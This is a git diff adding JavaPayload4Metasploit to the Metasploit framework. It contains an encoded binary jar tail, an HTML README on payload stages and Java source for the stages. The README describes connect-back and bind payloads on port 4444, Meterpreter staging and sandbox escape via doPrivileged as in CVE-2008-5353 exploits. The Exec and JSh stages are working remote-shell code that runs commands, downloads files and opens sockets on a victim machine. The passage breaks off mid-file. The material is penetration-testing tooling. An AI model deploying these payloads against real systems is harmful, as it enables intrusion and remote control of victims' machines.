z50?MO11{x5@gdo6^Tl-sjspYn2c<;!_>e7_c{uk5q^b0Uyko7V>=-Y?HeAJiacL=+3c7ynHkFEBNLH721Q$aQV%xi$!DL; zKf9c=xOOLc6c6TsrVHJt!hhMh;pM#NnW`Uw8st4iM1I*`Ke4#>M|l(r7Pyuvdr$%0 zT9fak1_833s=!}*z9>K`IPdA3?@T!Fc|#v%g4cRZeEAMx4^{k(#NN>~wKHIaWW-<+ z<#Kik?MZ(?(i4w|J+6?|Ed@XycQf={TRF|b#C788l9e{!rh?34p zVQpb3&BdCos$~kJBipVXjJ!`crDjTB%@tBjBc#)NPGiWjNsQptXOEj#4`v0u3npny zJ7wJhu;?MNZBV}66j0|~7|~?|z!9O6SUPO*Gi(kBeUTZw0B(QAby9`mI;24ZaE+_L z493!zgV-i^>ww~zbgp=vVISHl9gYUA!D`>x!H;(74HChEnLpT_iU^E1DWO(rEgFL? z7W&If=IJ3T-};6=1D9puf)_a*Na}lm)%lT!KHnz$V6Ya?vDX2SF@gl@j~L`Y(beGu zqwz5(BAz@X%a~Ew!5Lao@dUrVE#NpF=T(BA zdlD|*5#Fs{#wuQG0OuwDKIA->+8+kqjz29?$BI!{k}Ju+DzPNX6S_9HsgNiT>Z2ES zhWU`JQ7z>`b!SKyCVcP#sj;K!cAL_UT~>CvBbo~|(jJcRfPtg))fzpwc14Bq)<*rq z5Bh;c3p@GWmI+k`Cz!EGgFS!XhC0*K%`E{SC*3&1f?%*7UmG~`nQ(eWma!1(zNK- zn9t266PaaXkbR^#&mFn+AqGeg5u>To?(h!a36Rj)mdLb7-dmY%-iLo@pptF$p(~bA z3X2{!Vx#8H9BgCg4L_l>=`q@h{TgPe6x`>63b@E&7LMo`8KyJm8kFGs!5b5k|Z4P(!2we>Wp7uafO5ObxNUCJvYRTAO|5!~(Ijve-Ag zte?ch*q0O*n{$OvhQ**+bmi5fLIa^(QE4J5AP;hDm=f=g_t%8oA&{E}8m^~!z25>y zBgAcFgz=(*5S$6FUx1V#NT*&@eg=cxn+}{Z>aZv8U%>|=iz)`H+0g_e-Kbe>#5@$a zP0p5t2qLV8d!vCO)i`8(3_ltl%meR?gDHCAQSS)@NrPu*=%LBDf%1@mYg@OSj@trn zA{q!kpV-%Vn@Y;k%s$wYp()wx_u#3GP*~AOEO{SUh{UyTut@{{^!#F1Z9bHDn!=g) zD&me7s0*R?(S;OWOR1M!7^?Gz0;oGxK9%r?K-fYqegz5}3Ed}whoG*(CWEfBZW7#IFyxJTHDsd6|p+tXOGpH=0q}a@uZv-zAIyHGVyV~=)gdC+DK_qgkm}j8) zalOSAtUSVlkbHrYiR+$=e=XGg8d41ndtd$@G>S8hj^;yd{CW`sb1)fJxfkVyN-rL1 z=q*F#fdSMpcx}U`n#og)MSf&Y%0~|J=~OD1t*0HFUYkK zNCBU0*yor{BHxn-=Ihj>-M@HLg~UULV1q)Ok%7r)I`bufAuP zS4bw)e$XT4oDnA8WYoOryiknD2}UPkFj&9eW`fsJ`rzWoq^_?*%k8yV8r;^_B)P25 zR7%fCO!BA`K0mo`=%rYkFkrX$+0kzhHF-g?@J{zihS|b4`CZ#5yxy}jCHOH-jh*)! z)LHDDG)4%n3H6HR$mx$JqjwIDny&!4avE!WWl1BGM7eEfHlXBRAQJ_Pi&e_*uX<@N zQaevWg=8NjD>&tgvi-h@ByFHdBF5~a$b+=mWXNm?DvLbX&1stGXf53d*F(TZ-6f#e zH&z68w!*ec7N3KCk7N8TC{pF*Tjt#v^o3~}rRY2myo@J^UC9bGhskB{CY8J2b&Sj6 zm2^klvno-VrxIEiytN%fYvgD?o%$FnlwtI-3591mxM{)xB`OAYzE--*k36A8NoC@! z-7+{Fm{G5Ptg&t9u2g| z-ek3JD|hR-9+l75Zi#FS&RW(_ImZmw7ArBUpEkSudNlQ6o3?1G$?)c~4J6E5G-s8i z&6U__*p_@}7chtD`Z6{#PkVbmwetLB>P0ZskY)^8J{Fp`DO#l`>sK>ZXFX`gTk6CH zL3qK|CbC*h$ohPl0~JS_x8FwAx4cPAT$2dnCg zVyLgvHU$x(`-<|$O73*BfBQjuG0<_Dj&0Lu(5>ON-?aXN8j@orY#By=ZpO6+H8GcPgBxN`el zdFN%9g}1|kQ;|ja^hc3o+k3j>D%&z=QI~n8kh=`e9ytDtFexBtFVH14ey6Kk?4x4H zGS7>=S=DWgvH~hMQlU)NlSWCyJ$T7%&DLb1zWt`Dm5Cc7gnpE^2K%MyY3%G=~dfur26~I*Hby<&CM0rP!Ax z`$&nHGo@l^D$0SV)m;OG~}j^;4Vs=iVa zPFAI;s<`ZRcayF7$mBMSZEO4-w?6ZzT737>?$dmMmy32%m|1VozxP(?Fav4M23`VD zSE+N~U*JTZeAZ~7Bz3)IMUgSAlDvD_Ei4uyvRtc+)SbLXGR>%L}ZCm*j#1 zuV_5NQe1U8FtVvYU38i~ZcdntLY`Ifm~CMed2JCwv(s7)3H8}?1}BGriHf$efX~U( zGCm$x`s!*GyGjQOk-O51rPZ!@(DboFy9!vgpW}sG9A#fzVF`hR9On&u31MI|hKe2(zXJ?k zLX_9IZi|*j$IGdOg)^Si*N)s3oI4-~d4Su5pmk{C264}@qnPuz-w-14vx>hW%_w~r z9yC5u9zs?!EX95GTI%LGW1(eSfYP2SaSYcc>#5;lp!2ZbQBLtjSQx=gnEzgFX(f<5 z-$Qv4q@hypGRn`UQph@l=`%!`5I{kU^vWMSnd$Y+t~a@>FvoF;FU!{l7v4)%ZZaWw zrbs^tVPUDBRf&(H*Vye1<&E!EO!j>5t&x8yozKp?&gw(hqjaBw5p)i9 ze}G?Ba2oXxaYJ6RS$gSqD>8a>U`}do9khAp6X=dPa*eWxgFOyYI<-^`e@(+^(&)A< z47X{WKNd~sCcxLn(Th`2iho6joO<+7NxIBiAaMAwC6_@qdNTDvaSd6A+DRpmQH81Z39Y{bjpD@!+=t&I z4fg0Q8p(i!GeRSy5c$7-UWs{{)=p2=9hu7YTra*Ez2wYk+N4+r>2ou=6cbwF!H7fN z|G|$^x69(~9x^7tHrGGP#nUh!0%y2!caIMQz>-h)P!Fv)oTx34MY7$-DS`n_*RJiB zAzmg;Y2Mf5&C1TL8o2i_R25#p;=}##YQ5)k@v~sV9E<(F|5cFpNA2F9rhib2zgO@5 zHuxx=(p|5p*-zqat-LH)lRN#XntNBK)0&YyECHNO)oF#iYQleZ@T literal 0 HcmV?d00001 diff --git a/external/source/javapayload/index.html b/external/source/javapayload/index.html new file mode 100644 index 0000000000..51d3eea33b --- /dev/null +++ b/external/source/javapayload/index.html @@ -0,0 +1,331 @@ + + + + +JavaPayload4Metasploit - Single payload loader class to +be used in the Metasploit project + + +

JavaPayload4Metasploit - Single payload loader class to be used +in the Metasploit project

+ +

© 2010 Michael 'mihi' Schierl, <schierlm +at users dot sourceforge dot net>

+ +

Introduction

+ +

The JavaPayloads +contain useful payloads written in pure Java. But they assume that the +attacker has a Java VM on his machine, as the the builders and stage +handlers are written in Java. In addition, when creating a new payload +class that should reside in a signed jar, the jar has to be re-signed as +classes have changed.

+ +

In contrast, this package contains a single metasploit.Payload +class which is configured by a property file in the classpath (i. e. in +the same jar). As it is possible to add unsigned resources to a jar +without requiring to re-sign it, and as it is easy to manipulate zip/jar +files from Ruby, this makes it possible to leverage the powers of +JavaPayload from Metasploit which is written in Ruby and not in Java.

+ +

System requirements

+ +

Same as JavaPayload. JRE 1.2 on the victim machine is enough :-)

+ +

On the attacker machine, no Java at all is required.

+ +

How to use the Payload class.

+ +

The Payload class is (among a collection of JavaPayload +stage classes) stored inside JavaPayload4Meterpreter.jar.

+ +

It is a standard java main class (i. e. it has a public +static void main(String[]) method), so the most obvious way to invoke it +is putting it into a Jar file whose manifest's Main-Class +attribute is metasploit.Payload. The resuling jar can be +started using java -jar jarfile.jar. There are 3 example jars +available that use this technique; they are described later.

+ +

Alternatively, the main class can of course be called from other +classes, like metasploit.Payload.main(null);, as the arguments +parameter is ignored. Note that in a sandboxed environment the caller +needs to have all permissions, and also the Payload class has to +be loaded with all permissions. In case there is untrusted code on the +stack trace (but the direct caller has all permissions), the call has to +be wrapped in a doPrivileged +call (like it is done in the several well known public exploits for +CVE-2008-5353).

+ +

Once loaded, the class will lookup a file called /metasploit.dat +from the class path and load it as a Property +file (basically a text file with Name=value lines, but note +that some special characters need escaping). If the file cannot be +found, default values are used.

+ +

Depending on the property values (see below), the class will then +optionally write itself to disk and spawn a sub-process (once or several +times) to disconnect the payload from the calling process. All temporary +files will be deleted afterwards. (Even on Windows it is possible to +delete a running class file as technically, not the class file but the +Java VM is running).

+ +

After that, it will either listen on a port and accept a socket, +create an active socket connection, or (for debugging purposes) just +uses standard input and standard output; in any case, the resulting +input/output streams are used for the staging

+ +

The property file can configure an embedded stage which +will be loaded directly from the current classloader (i. e. JAR). Note +that this feature cannot be used from a sub-process, as the rest of the +JAR file will not be available any longer there.

+ +

If no embedded stage is configured, the stage is loaded from the +input stream instead (see below for the data format).

+ +

Once the stage is loaded, the streams are handed to the stage. +Stages may require optional parameters (a string) which can be given +either in the property file or by using the SendParameters +stage from JavaPayload.

+ +

When the stage quits, the payload class terminates and cleans up +after itself if needed.

+ +

Supported properties (and their default values)

+ +

Spawn(=0)

+ +

The number of java processes that should be spawned. 0 +will run the payload inside the original process, 1 will spawn +once (to continue running when the original process terminates), and 2 +will spawn twice (on certain popular operating systems it is impossible +to obtain parent process informaion if the parent process has already +died).

+ +

EmbeddedStage(=)

+ +

Note: this option will not work with the Spawn +option!

+ +

StageParameters(=)

+ +

Additional parameters to be used by the stage, regardless whether +it was embedded or not. Only few stages support/require parameters.

+ +

LPORT(=4444)

+ +

Port to listen on or to connect to (if LHOST is also +set). If explicitly set to 0, no connection will be made, but +standard input/output streams will be used instead.

+ +

LHOST(=)

+ +

Host to connect to. If not set, the payload will listen instead.

+ +

Staging protocol

+ +

The staging protocol is quite simple. All classes are sent +uncompressed (as they are inside the .jar file). Each class is prefixed +by a 32-bit big-endian size. After the last class, a size of 0 is sent. +The classes will be defined in the order they are sent (i. e. they can +only refer to classes defined before), and the last sent class will be +loaded as a stage.

+ +

In case of an embedded stage, no staging is used - the stream is +directly passed to the stage.

+ +

Supported stages (in alphabetical order)

+ +

The stages are original JavaPayload +stages to make updates easier. All stages listed here can be used +without special "Java" tricks (like serialization or JDWP protocol), to +easily use them from Ruby.

+ +

Exec

+
+
Stage classes
+
javapayload.stage.Stage, javapayload.stage.StreamForwarder, + javapayload.stage.Exec
+
+
+
Parameters
+
Exec commandline
+
+
+
Stage protocol
+
raw Input/output streams
+
+ +

Execute an executable on the target machine and forward streams. +Stdout and Stderr are merged automatically.

+ +

JSh

+
+
Stage classes
+
javapayload.stage.Stage, javapayload.stage.JShSignalSender, + javapayload.stage.JShStreamForwarder, javapayload.stage.JSh
+
+
+
Parameters
+
Not supported
+
+
+
Stage protocol
+
Plain text
+
+ +

A simple shell written in pure Java.

+ +
Supported commands:
+     help   - show this help
+     info   - list system properties
+     pwd    - show current directory
+     cd     - change directory
+     ls     - list directory
+     exec   - execute native command
+     cat    - show text file
+     wget   - download file
+     telnet - create TCP connection
+     paste  - create text file
+     jobs   - list or continue jobs
+     exit   - Exit JSh
+ + +

Meterpreter

+
+
Stage classes
+
javapayload.stage.Stage, + com.metasploit.meterpreter.MemoryBufferURLConnection, + com.metasploit.meterpreter.MemoryBufferURLStreamHandler, + javapayload.stage.Meterpreter
+
+
+
Parameters
+
Optional parameter NoRedirect for debugging.
+
+
+
Stage protocol
+
Meterpreter protocol
+
+ +

Loader to load the Java version of Metasploit's own +post-exploitation toolkit.

+ +

SendParameters

+
+
Stage classes
+
all classes needed by the stage to use, + javapayload.stage.SendParameters
+
+
+
Parameters
+
Not supported
+
+
+
Stage protocol
+
First transfer of parameters, then as the stage to use
+
+ +

"Intermediate" stage that can be used to change the stage +parameters in cases where they cannot be cast in stone when the payload +is built.

+ +

After sending the stage, but before sending data for the stage, +you have to send the parameters:

+ +

The parameters start with a unsigned big-endian 16-bit integer +that specifies the number of parameters. Then each parameter is sent in +Java's modified +UTF string format. After that, the actual data for the stage can be +sent.

+ +

Shell

+
+
Stage classes
+
javapayload.stage.Stage, javapayload.stage.StreamForwarder, + javapayload.stage.Exec
+
+
+
Parameters
+
Not supported
+
+
+
Stage protocol
+
Plain text
+
+ +

This stager loads /bin/sh on Unix systems and cmd.exe on Windows +systems, and else just behaves like the Exec stage.

+ +

SystemInfo

+
+
Stage classes
+
javapayload.stage.Stage, javapayload.stage.SystemInfo
+
+
+
Parameters
+
Not supported
+
+
+
Stage protocol
+
Plain text
+
+ +

This stage just returns some system and network information. The +input stream is ignored. Useful as an embedded stage for automatic data +gathering with netcat, but not useful for anything else.

+ +

UpExec

+
+
Stage classes
+
javapayload.stage.Stage, javapayload.stage.StreamForwarder, + javapayload.stage.UpExec
+
+
+
Parameters
+
UpExec program_name arguments
+
+
+
Stage protocol
+
raw Input/output streams
+
+ +

Acts like exec, just that the a file can be uploaded first +(stored with a random file name) which will be executed with parameters.

+ +

The file is uploaded directly after uploading the stage classes, +prefixed by a 32-bit big-endian integer size value.

+ +

Included example jars

+ +

example-reverse-meterpreter.jar

+ +

Will connect back to metasploit at localhost:4444. and try to +bootstrap meterpreter (via an embedded stage). Except for the hard-coded +address in the property file, it acts like loader.jar.

+ +

example-spawn-bind.jar

+ +

Will spawn 2 Java processes and then listen on port 5555 for +incoming connections. No embedded stages.

+ +

example-standalone-jsh.jar

+ +

Will run JSh on stdin/stdout. Example for the stdin/stdout +feature and useful for testing JSh easily.

+ + + \ No newline at end of file diff --git a/external/source/javapayload/src/com/metasploit/meterpreter/MemoryBufferURLConnection.java b/external/source/javapayload/src/com/metasploit/meterpreter/MemoryBufferURLConnection.java new file mode 100644 index 0000000000..7548421e99 --- /dev/null +++ b/external/source/javapayload/src/com/metasploit/meterpreter/MemoryBufferURLConnection.java @@ -0,0 +1,68 @@ +package com.metasploit.meterpreter; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLConnection; +import java.util.ArrayList; +import java.util.Hashtable; +import java.util.List; + +/** + * An {@link URLConnection} for an URL that is stored completely in memory. + * + * @author mihi + */ +public class MemoryBufferURLConnection extends URLConnection { + + private static List files = new ArrayList(); + + static { + // tweak the cache of already loaded protocol handlers via reflection + try { + Field fld = URL.class.getDeclaredField("handlers"); + fld.setAccessible(true); + Hashtable handlers = (Hashtable) fld.get(null); + handlers.put("metasploitmembuff", new MemoryBufferURLStreamHandler()); + } catch (Exception ex) { + throw new RuntimeException(ex.toString()); + } + } + + /** + * Create a new URL from a byte array and its content type. + */ + public static URL createURL(byte[] data, String contentType) throws MalformedURLException { + files.add(data); + return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType); + } + + private final byte[] data; + private final String contentType; + + protected MemoryBufferURLConnection(URL url) { + super(url); + String file = url.getFile(); + int pos = file.indexOf('/'); + data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos))); + contentType = file.substring(pos + 1); + } + + public void connect() throws IOException { + } + + public InputStream getInputStream() throws IOException { + return new ByteArrayInputStream(data); + } + + public int getContentLength() { + return data.length; + } + + public String getContentType() { + return contentType; + } +} diff --git a/external/source/javapayload/src/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java b/external/source/javapayload/src/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java new file mode 100644 index 0000000000..99757cce2d --- /dev/null +++ b/external/source/javapayload/src/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java @@ -0,0 +1,17 @@ +package com.metasploit.meterpreter; + +import java.io.IOException; +import java.net.URL; +import java.net.URLConnection; +import java.net.URLStreamHandler; + +/** + * An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection} + * + * @author mihi + */ +public class MemoryBufferURLStreamHandler extends URLStreamHandler { + protected URLConnection openConnection(URL u) throws IOException { + return new MemoryBufferURLConnection(u); + } +} diff --git a/external/source/javapayload/src/javapayload/stage/Exec.java b/external/source/javapayload/src/javapayload/stage/Exec.java new file mode 100644 index 0000000000..8b8a8fa440 --- /dev/null +++ b/external/source/javapayload/src/javapayload/stage/Exec.java @@ -0,0 +1,60 @@ +/* + * Java Payloads. + * + * Copyright (c) 2010, Michael 'mihi' Schierl + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither name of the copyright holders nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package javapayload.stage; + +import java.io.DataInputStream; +import java.io.OutputStream; + +public class Exec implements Stage { + + public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { + for (int i = 0; i < parameters.length; i++) { + if (parameters[i].equals("--")) { + // separator found. The next parameter will be the module name, and + // all remaining parameters are for exec. + final String[] cmdarray = new String[parameters.length - i - 2]; + System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length); + final Process proc = Runtime.getRuntime().exec(cmdarray); + new StreamForwarder(in, proc.getOutputStream(), out).start(); + new StreamForwarder(proc.getInputStream(), out, out).start(); + new StreamForwarder(proc.getErrorStream(), out, out).start(); + proc.waitFor(); + in.close(); + out.close(); + break; + } + } + } +} diff --git a/external/source/javapayload/src/javapayload/stage/JSh.java b/external/source/javapayload/src/javapayload/stage/JSh.java new file mode 100644 index 0000000000..a197421d58 --- /dev/null +++ b/external/source/javapayload/src/javapayload/stage/JSh.java @@ -0,0 +1,346 @@ +/* + * Java Payloads. + * + * Copyright (c) 2010, Michael 'mihi' Schierl + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither name of the copyright holders nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package javapayload.stage; + +import java.io.DataInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.io.PipedInputStream; +import java.io.PipedOutputStream; +import java.io.PrintStream; +import java.net.Socket; +import java.net.URL; +import java.util.ArrayList; +import java.util.Enumeration; +import java.util.List; + +public class JSh implements Stage, Runnable { + + // each job is an Object[] to avoid a pure data class + // job[0] = name (String) + // job[1] = raw object (Socket or Process or Stream) for closing + // job[2] = OutputStream to forward user input to + // job[3..length-1] = JshStreamForwarders to redirect output + private final List jobs = new ArrayList(); + + private PipedOutputStream signalStream; + private InputStream originalIn; + private PrintStream pout; + + /** + * Forward data from one stream to another. Closes the input stream but not the output stream! + */ + private void forward(InputStream in, OutputStream out) throws IOException { + final byte[] buf = new byte[4096]; + int len; + while ((len = in.read(buf)) != -1) { + out.write(buf, 0, len); + if (in.available() == 0) { + out.flush(); + } + } + in.close(); + } + + private boolean forwardEscapable(InputStream in, Object[] job) throws IOException { + final OutputStream out = (OutputStream) job[2]; + int b; + boolean startOfLine = true, tilde = false, interrupted = true; + while (true) { + if (interrupted && job.length > 3) { + boolean allFinished = true; + for (int i = 3; i < job.length; i++) { + if (!((JShStreamForwarder) job[i]).isFinished()) { + allFinished = false; + break; + } + } + if (allFinished) { + pout.println("Finished: " + job[0]); + return false; + } + } + interrupted = false; + if ((b = in.read()) != -1) { + if (b == 0) { + b = in.read(); + if (b != 0) { + interrupted = true; + continue; + } + } + if (startOfLine && b == '~') { + tilde = true; + } else if (tilde && b == '&') { + return true; + } else if (tilde && b == '.') { + return false; + } else { + if (tilde && b != '~') { + out.write('~'); + } + out.write(b); + if (in.available() == 0) { + out.flush(); + } + tilde = false; + } + startOfLine = (b == '\r' || b == '\n'); + } else { + // our control connection has died... + return false; + } + } + } + + private void handleBackgroundJob(DataInputStream in, Object[] job) throws Exception { + pout.println("Press ~& to suspend, ~. to stop job."); + for (int i = 3; i < job.length; i++) { + ((JShStreamForwarder) job[i]).pauseForwarding(false); + } + if (forwardEscapable(in, job)) { + for (int i = 3; i < job.length; i++) { + ((JShStreamForwarder) job[i]).pauseForwarding(true); + } + jobs.add(job); + pout.println("Job suspended, see 'jobs'."); + } else { + for (int i = 3; i < job.length; i++) { + ((JShStreamForwarder) job[i]).stopForwarding(); + } + if (job[1] instanceof Socket) { + ((Socket) job[1]).close(); + } else if (job[1] instanceof Process) { + ((Process) job[1]).destroy(); + } else { + ((OutputStream) job[1]).close(); + } + } + } + + public void run() { + try { + try { + int b; + while ((b = originalIn.read()) != -1) { + signalStream.write(b); + if (b == 0) { + signalStream.write(b); + } + if (originalIn.available() == 0) { + signalStream.flush(); + } + } + } finally { + originalIn.close(); + signalStream.close(); + } + } catch (final Throwable ex) { + ex.printStackTrace(pout); + } + } + + public void start(DataInputStream originalIn, OutputStream out, String[] parameters) throws Exception { + this.originalIn = originalIn; + signalStream = new PipedOutputStream(); + pout = new PrintStream(out, true); + final DataInputStream in = new DataInputStream(new PipedInputStream(signalStream)); + final Thread copier = new Thread(this); + copier.setDaemon(true); + copier.start(); + final JShSignalSender ss = new JShSignalSender(signalStream, pout); + File pwd = new File(".").getCanonicalFile(); + while (true) { + pout.print("! "); + // yes I know this is deprecated. but BufferedReader is way too bloated for what we need here + String cmd = in.readLine(); + while (cmd.indexOf("\0$") != -1) { + cmd = cmd.substring(0, cmd.indexOf("\0$")) + cmd.substring(cmd.indexOf("\0$") + 2); + } + if (cmd.length() == 0) { + continue; + } + int pos = cmd.indexOf(' '); + String params = ""; + if (pos != -1) { + params = cmd.substring(pos + 1); + cmd = cmd.substring(0, pos); + } + cmd = cmd.toLowerCase().intern(); + try { + if (cmd == "info") { + if (params.length() == 0) { + final Enumeration e = System.getProperties().propertyNames(); + while (e.hasMoreElements()) { + final String property = (String) e.nextElement(); + pout.println(property + "=" + System.getProperty(property)); + } + } else { + pout.println(params + "=" + System.getProperty(params)); + } + } else if (cmd == "pwd") { + pout.println(pwd.getPath()); + } else if (cmd == "cd") { + File f = new File(pwd, params); + if (f.exists() && f.isDirectory()) { + pwd = f.getCanonicalFile(); + } else { + f = new File(params); + if (f.exists() && f.isDirectory()) { + pwd = f.getCanonicalFile(); + } else { + pout.println("Path not found."); + } + } + pout.println(pwd.getPath()); + } else if (cmd == "ls") { + final File[] roots = File.listRoots(); + for (int i = 0; i < roots.length; i++) { + pout.println(roots[i].getAbsolutePath() + "\t[ROOT]"); + } + pout.println(); + final File[] dir = pwd.listFiles(); + for (int i = 0; i < dir.length; i++) { + pout.println(dir[i].getName() + "\t" + (dir[i].isDirectory() ? "[DIR]" : "" + dir[i].length()) + "\t" + dir[i].lastModified()); + } + } else if (cmd == "exec") { + Process proc; + handleBackgroundJob(in, new Object[] { "exec " + params, proc = Runtime.getRuntime().exec(params), proc.getOutputStream(), new JShStreamForwarder(proc.getInputStream(), pout, ss), new JShStreamForwarder(proc.getErrorStream(), pout, ss) }); + } else if (cmd == "cat") { + final FileInputStream fis = new FileInputStream(new File(pwd, params)); + forward(fis, pout); + } else if (cmd == "wget") { + pos = params.indexOf(' '); + if (pos == -1) { + pout.println(" Usage: wget "); + } else { + final FileOutputStream fos = new FileOutputStream(new File(pwd, params.substring(pos + 1))); + forward(new URL(params.substring(0, pos)).openStream(), fos); + fos.close(); + } + } else if (cmd == "telnet") { + pos = params.indexOf(' '); + if (pos == -1) { + pout.println(" Usage: telnet "); + } else { + Socket s; + handleBackgroundJob(in, new Object[] { "telnet " + params, s = new Socket(params.substring(0, pos), Integer.parseInt(params.substring(pos + 1))), s.getOutputStream(), new JShStreamForwarder(s.getInputStream(), pout, ss) }); + } + } else if (cmd == "paste") { + FileOutputStream fos; + handleBackgroundJob(in, new Object[] { "paste " + params, fos = new FileOutputStream(new File(pwd, params)), fos }); + } else if (cmd == "jobs") { + if (params.length() == 0) { + for (int i = 0; i < jobs.size(); i++) { + pout.println((i + 1) + "\t" + ((Object[]) jobs.get(i))[0]); + } + } else { + handleBackgroundJob(in, (Object[]) jobs.remove(Integer.parseInt(params) - 1)); + } + } else if (cmd == "exit") { + break; + } else if (cmd == "help") { + params = params.toLowerCase().intern(); + if (params == "info") { + pout.println("info: show system properties."); + pout.println(" Usage: info [property]"); + } else if (params == "pwd") { + pout.println("pwd: show current directory."); + pout.println(" Usage: pwd"); + } else if (params == "cd") { + pout.println("cd: change directory."); + pout.println(" Usage: cd "); + } else if (params == "ls") { + pout.println("ls: list directory."); + pout.println(" Usage: ls"); + } else if (params == "exec") { + pout.println("exec: execute native command."); + pout.println(" Usage: exec "); + } else if (params == "cat") { + pout.println("cat: show text file."); + pout.println(" Usage: cat "); + } else if (params == "wget") { + pout.println("wget: download file."); + pout.println(" Usage: wget "); + } else if (params == "telnet") { + pout.println("telnet: create TCP connection."); + pout.println(" Usage: telnet "); + } else if (params == "paste") { + pout.println("paste: create text file."); + pout.println(" Usage: paste "); + } else if (params == "jobs") { + pout.println("jobs: list or continue jobs."); + pout.println(" Usage: jobs [index]"); + } else if (params == "exit") { + pout.println("exit: Exit JSh."); + pout.println(" Usage: exit"); + } else { + pout.println("help: show information about commands."); + pout.println(" Usage: help [command]"); + pout.println(); + pout.println("Supported commands:"); + pout.println(" help - show this help"); + pout.println(" info - list system properties"); + pout.println(" pwd - show current directory"); + pout.println(" cd - change directory"); + pout.println(" ls - list directory"); + pout.println(" exec - execute native command"); + pout.println(" cat - show text file"); + pout.println(" wget - download file"); + pout.println(" telnet - create TCP connection"); + pout.println(" paste - create text file"); + pout.println(" jobs - list or continue jobs"); + pout.println(" exit - Exit JSh"); + pout.println(); + pout.println("When inside an interactive command, enter ~. on a new"); + pout.println("line to exit from that command. Enter ~& to background the command."); + pout.println("Enter ~~ to start a line with a ~ character"); + } + } else { + pout.println("Unknown command: " + cmd); + pout.println("Type help for more info."); + } + } catch (final Exception ex) { + ex.printStackTrace(pout); + } + } + ss.terminate(); + pout.close(); + } +} \ No newline at end of file diff --git a/external/source/javapayload/src/javapayload/stage/JShSignalSender.java b/external/source/javapayload/src/javapayload/stage/JShSignalSender.java new file mode 100644 index 0000000000..4d427fe7e8 --- /dev/null +++ b/external/source/javapayload/src/javapayload/stage/JShSignalSender.java @@ -0,0 +1,84 @@ +/* + * Java Payloads. + * + * Copyright (c) 2010, Michael 'mihi' Schierl + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither name of the copyright holders nor the names of its + * contributors may be used to endorse or promote products derived from + * this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * 